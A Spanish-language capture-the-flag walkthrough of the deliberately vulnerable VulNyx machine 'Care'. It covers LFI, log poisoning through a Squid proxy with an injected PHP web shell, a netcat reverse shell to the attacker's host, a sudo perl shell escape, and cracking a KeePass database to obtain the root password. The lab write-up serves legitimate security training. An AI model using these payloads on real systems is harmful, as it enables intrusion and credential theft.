Information

Care es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.89
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 12:56 CEST
Nmap scan report for 192.168.1.89
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3128/tcp open  squid-http
root@kali:~  nmap -sVC -p22,80,3128 192.168.1.89
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 12:56 CEST
Nmap scan report for 192.168.1.89
Host is up (0.00046s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http       Apache httpd 2.4.62 ((Debian))
|_http-title: vCare Free Bootstrap Theme | webthemez
|_http-server-header: Apache/2.4.62 (Debian)
3128/tcp open  http-proxy Squid http proxy 5.7
|_http-server-header: squid/5.7
|_http-title: ERROR: The requested URL could not be retrieved
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD

Shell (www-data)

80/TCP (HTTP)

Site

Observo que page.php incluye mediante un parámetro la página about.html

Local File Inclusion (LFI)

Detecto que es vulnerable a Local File Inclusion (LFI) y consigo leer el archivo /etc/passwd

Mediante la cabecera Server detecto que estoy ante un servidor Apache

root@kali:~  curl -sI "http://192.168.1.89/" | grep "Server"
Server: Apache/2.4.62 (Debian)

Parece que existe algún tipo de blacklist ya que no permite acceder a algunas rutas o archivos del servidor, al intentar apuntar hacia la ruta donde se almacenan los logs de Apache (/var/log/apache2/access.log) no lo permite y muestra un alert de seguridad

En el nmap inicial he detectado que por el puerto 3128 corre un Squid, busco la ruta de archivos log de Squid y encuentro el siguiente artículo que nos da la ruta por default /var/log/squid/access.log

3128/TCP (SQUID)

Log Poisoning

Inyecto código PHP en el User-Agent de la request pasando por el proxy

curl -sX GET --proxy "http://192.168.1.89:3128" "http://127.0.0.1:80" -A '<?php system($_GET["cmd"]); ?>'

Consigo ejecutar comandos como usuario www-data

root@kali:~  curl -sX GET "http://192.168.1.89/page.php?i=/var/log/squid/access.log&cmd=id" | tail -n 2
192.168.1.5 [04/Oct/2025:13:27:02 +0200] "uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell

Ya ejecutando comandos intento obtener una reverse shell

root@kali:~  echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh                                            
root@kali:~  curl -sX GET "http://192.168.1.89/page.php?i=/var/log/squid/access.log&cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"

Obtengo la shell como usuario www-data

root@kali:~  nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.89] 41476
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
care

Shell (dorian)

Enumeration

Sudo

El usuario www-data puede ejecutar como dorian el binario perl con sudo

www-data@care:/$ sudo -l
Matching Defaults entries for www-data on care:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on care:
    (dorian) NOPASSWD: /usr/bin/perl

Abuse

Shell Escape

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario dorian

sudo perl -e ‘exec “/bin/sh”;’

www-data@care:/$ sudo -u dorian /usr/bin/perl -e 'exec "/bin/sh";'
$ bash -i
dorian@care:/$ id ; hostname
uid=1000(dorian) gid=1000(dorian) groups=1000(dorian)
care

Privilege Escalation

Enumeration

Backup Files

Encuentro una carpeta oculta llamada .bak y dendro de ella el archivo data.txt

dorian@care:~$ ls -la
total 28
drwx------ 3 dorian dorian 4096 Oct  2 12:14 .
drwxr-xr-x 3 root   root   4096 Oct  2 11:52 ..
drwxr-xr-x 2 dorian dorian 4096 Oct  2 11:58 .bak
lrwxrwxrwx 1 dorian dorian    9 Nov 15  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dorian dorian  220 Nov 15  2023 .bash_logout
-rw-r--r-- 1 dorian dorian 3526 Nov 15  2023 .bashrc
-rw-r--r-- 1 dorian dorian  807 Nov 15  2023 .profile
-r-------- 1 dorian dorian   33 Oct  2 12:14 user.txt
dorian@care:~$ ls -la .bak/
total 12
drwxr-xr-x 2 dorian dorian 4096 Oct  2 11:58 .
drwx------ 3 dorian dorian 4096 Oct  2 12:14 ..
-rw------- 1 dorian dorian 1941 Oct  2 10:40 data.txt

Reviso con file que tipo de archivo es realmente data.txt y es una base de datos (KDBX) de KeePass

dorian@care:~$ cd .bak/
dorian@care:~/.bak$ file data.txt 
data.txt: Keepass password database 2.x KDBX

File Transfer

Transfiero el archivo data.txt a mi máquina local

dorian@care:~/.bak$ md5sum data.txt 
56eb73607cbef8498eb35cc3f8c9518c  data.txt
dorian@care:~/.bak$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
root@kali:~  wget -q "http://192.168.1.89:1234/data.txt"
root@kali:~  md5sum data.txt 
56eb73607cbef8498eb35cc3f8c9518c  data.txt

KeePass File

Cracking (KDBX)
Error

Intento con keepass2john crackear el archivo .kdbx pero no lo permite por una incompatibildiad de versión

root@kali:~  mv data.txt db.kdbx                                                                                                                                                    
root@kali:~  keepass2john db.kdbx 
! db.kdbx : File version '40000' is currently not supported!

Lo intento nuevamente con la herramienta KDBXccrack y obtengo éxito con el password diamond

root@kali:~  wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/KDBXcrack/refs/heads/main/KDBXcrack" && chmod +x KDBXcrack                                                                           
root@kali:~  ./KDBXcrack -f db.kdbx -w /opt/techyou.txt 

╭╮╭━┳━━━┳━━╮╭━╮╭━╮           ╭╮  
┃┃┃╭┻╮╭╮┃╭╮┃╰╮╰╯╭╯           ┃┃  
┃╰╯╯ ┃┃┃┃╰╯╰╮╰╮╭╯ ╭━━┳━┳━━┳━━┫┃╭╮
┃╭╮┃ ┃┃┃┃╭━╮┃╭╯╰╮ ┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┳╯╰╯┃╰━╯┣╯╭╮╰╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻━━━┻━╯╰━╯╰━━┻╯╰╯╰┻━━┻╯╰╯
─────────────────────────────────
 code: d4t4s3c   version: v1.0.0
─────────────────────────────────
[i] Cracking | db.kdbx
[i] Wordlist | /opt/techyou.txt
[*] Status   | 128/10000/1%/diamond
[+] Password | diamond
─────────────────────────────────
                                                                                                                           
root@kali:~ ❯ 
Open (KDBX)

Abro con keepassxc la base de datos (KDBX) y obtengo el password r00tB0$$123! del usuario root

Me convierto en usuario root con las credenciales obtenidas

dorian@care:~$ su -
Password: 
root@care:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
care

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@care:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
3ba*****************************
97c*****************************

Hasta aquí la resolución de la máquina Care.

Happy Hacking!